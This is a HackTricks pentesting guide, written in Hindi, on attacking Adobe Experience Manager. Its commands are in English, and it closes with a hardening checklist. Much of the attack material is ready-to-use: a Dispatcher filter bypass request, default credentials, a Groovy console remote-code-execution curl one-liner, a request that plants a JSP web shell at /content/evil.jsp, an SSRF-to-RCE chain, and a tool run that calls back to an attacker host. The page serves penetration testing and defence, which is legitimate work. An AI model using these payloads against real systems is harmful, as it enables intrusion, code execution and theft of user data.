AEM (Adobe Experience Manager) Pentesting

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Adobe Experience Manager (AEM, Adobe Experience Cloud का हिस्सा) एक एंटरप्राइज CMS है जो Apache Sling/Felix (OSGi) और एक Java Content Repository (JCR) के ऊपर चलता है। हमलावर के दृष्टिकोण से AEM उदाहरण अक्सर खतरनाक विकास एंडपॉइंट्स, कमजोर Dispatcher नियम, डिफ़ॉल्ट क्रेडेंशियल और CVEs की एक लंबी श्रृंखला को उजागर करते हैं जो हर तिमाही पैच किए जाते हैं।

नीचे दी गई चेकलिस्ट बाहरी रूप से पहुंच योग्य (unauth) हमले की सतह पर केंद्रित है जो वास्तविक अभियानों (2022-2025) में बार-बार दिखाई देती है।


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

अन्य त्वरित संकेत:

  • /etc.clientlibs/ स्थिर पथ मौजूद है (JS/CSS लौटाता है)।
  • /libs/granite/core/content/login.html लॉगिन पृष्ठ जिसमें “Adobe Experience Manager” बैनर है।
  • </script><!--/* CQ */--> टिप्पणी HTML के नीचे।

2. उच्च-मूल्य वाले अनधिकृत एंडपॉइंट

पथआपको क्या मिलता हैनोट्स
/.json, /.1.jsonJCR नोड्स via DefaultGetServletअक्सर अवरुद्ध, लेकिन Dispatcher bypass (नीचे देखें) काम करता है।
/bin/querybuilder.json?path=/QueryBuilder APIपृष्ठ वृक्ष, आंतरिक पथ, उपयोगकर्ता नाम का लीक।
/system/console/status-*, /system/console/bundlesOSGi/Felix कंसोलडिफ़ॉल्ट रूप से 403; यदि उजागर और क्रेडेंशियल्स मिले ⇒ बंडल-अपलोड RCE।
/crx/packmgr/index.jspपैकेज प्रबंधकप्रमाणीकृत सामग्री पैकेजों की अनुमति देता है → JSP पेलोड अपलोड।
/etc/groovyconsole/**AEM Groovy कंसोलयदि उजागर → मनमाना Groovy / Java निष्पादन।
/libs/cq/AuditlogSearchServlet.jsonऑडिट लॉगजानकारी का खुलासा।
/libs/cq/ui/content/dumplibs.htmlClientLibs डंपXSS वेक्टर।

Dispatcher बायपास ट्रिक

अधिकांश उत्पादन साइटें Dispatcher (रिवर्स-प्रॉक्सी) के पीछे होती हैं। इसके फ़िल्टर नियमों को एक अनुमत स्थिर एक्सटेंशन सेमीकोलन या एन्कोडेड न्यूलाइन के बाद जोड़कर बायपास किया जा सकता है:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

एकल अनुरोध जैसे ऊपर अक्सर उपयोगकर्ता प्रोफ़ाइल नोड्स को ईमेल पतों के साथ प्रकट करता है। P-T Partners ने इस कमजोरी पर अच्छी मार्गदर्शिका प्रकाशित की है। 【】


3. सामान्य गलत कॉन्फ़िगरेशन (2025 में अभी भी जीवित)

  1. गुमनाम POST सर्वलेटPOST /.json के साथ :operation=import आपको नए JCR नोड्स लगाने की अनुमति देता है। डिस्पैचर में *.json POST को ब्लॉक करना इसे ठीक करता है। 【】
  2. विश्व-प्रवेश योग्य उपयोगकर्ता प्रोफ़ाइल – डिफ़ॉल्ट ACL /home/users/**/profile/* पर सभी को jcr:read प्रदान करता है।
  3. डिफ़ॉल्ट क्रेडेंशियल्सadmin:admin, author:author, replication:replication
  4. WCMDebugFilter सक्षम ⇒ ?debug=layout के माध्यम से परावर्तित XSS (CVE-2016-7882, अभी भी विरासती 6.4 इंस्टॉलेशन पर पाया गया)।
  5. Groovy कंसोल उजागर – एक Groovy स्क्रिप्ट भेजकर दूरस्थ कोड निष्पादन:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. हाल की कमजोरियाँ (सेवा-पैक की आवृत्ति)

तिमाहीCVEप्रभावितप्रभाव
दिसंबर 2024CVE-2024-437116.5.21 और पहलेअनुचित इनपुट मान्यता → मनमाना कोड निष्पादन (कम-priv auth की आवश्यकता)। 【】
दिसंबर 2024CVE-2024-43724/266.5.21 और पहलेDOM / स्टोर की गई XSS मूव पेज विजार्ड में। 【】
दिसंबर 2023CVE-2023-48452/68≤ 6.5.18तैयार URL के माध्यम से DOM-आधारित XSS। 【】
दिसंबर 2022CVE-2022-30683≤ 6.5.13क्रिप्टो डिज़ाइन दोष → गुप्त डिक्रिप्शन (कम-priv क्रेड्स की आवश्यकता)। 【】

हमेशा ग्राहक की सेवा-पैक से मेल खाने वाले APSB बुलेटिन की जांच करें और नवीनतम 6.5.22 या Cloud Service 2024.11 का अनुरोध करें।


5. शोषण स्निप्पेट्स

5.1 डिस्पैचर बायपास + JSP अपलोड के माध्यम से RCE

यदि गुमनाम लेखन संभव है:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

अब /content/evil.jsp का अनुरोध करें - JSP AEM प्रक्रिया उपयोगकर्ता के साथ चलती है।

5.2 SSRF से RCE (ऐतिहासिक < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem-hacker से aem_ssrf2rce.py पूरी श्रृंखला को स्वचालित करता है। 【】


6. उपकरण

  • aem-hacker – स्विस-आर्मी एन्यूमरेशन स्क्रिप्ट, डिस्पैचर बायपास, SSRF पहचान, डिफ़ॉल्ट-क्रेड्स जांच और अधिक का समर्थन करता है।
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – छिपे हुए घटकों को खोजने के लिए /_jcr_content.(json|html) का पुनरावृत्त अनुरोध करें।
  • osgi-infect – यदि क्रेड्स उपलब्ध हैं तो /system/console/bundles के माध्यम से दुर्भावनापूर्ण OSGi बंडल अपलोड करें।

7. हार्डनिंग चेकलिस्ट (आपकी रिपोर्ट की सिफारिशों के लिए)

  1. नवीनतम संचयी सेवा पैक पर इंस्टेंस रखें (जुलाई 2025 के अनुसार: 6.5.22)।
  2. डिफ़ॉल्ट खातों को हटा दें/घुमाएं; SSO/SAML को लागू करें।
  3. Dispatcher फ़िल्टर को कड़ा करें - ;, एन्कोडेड नई पंक्तियों, और अनाम उपयोगकर्ताओं के लिए *.json या *.querybuilder.json को अस्वीकार करें।
  4. IP अनुमति-सूचियों के साथ कंसोल (/system/console, /crx/*, /etc/groovyconsole) को अक्षम करें या सुरक्षित करें।
  5. Adobe द्वारा भेजे गए Anonymous Permission Hardening पैकेज को लागू करें।

संदर्भ

  • Adobe सुरक्षा बुलेटिन APSB24-69 – “Adobe Experience Manager के लिए सुरक्षा अपडेट (दिसंबर 2024)”.
  • 0ang3el – aem-hacker उपकरण (GitHub).

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें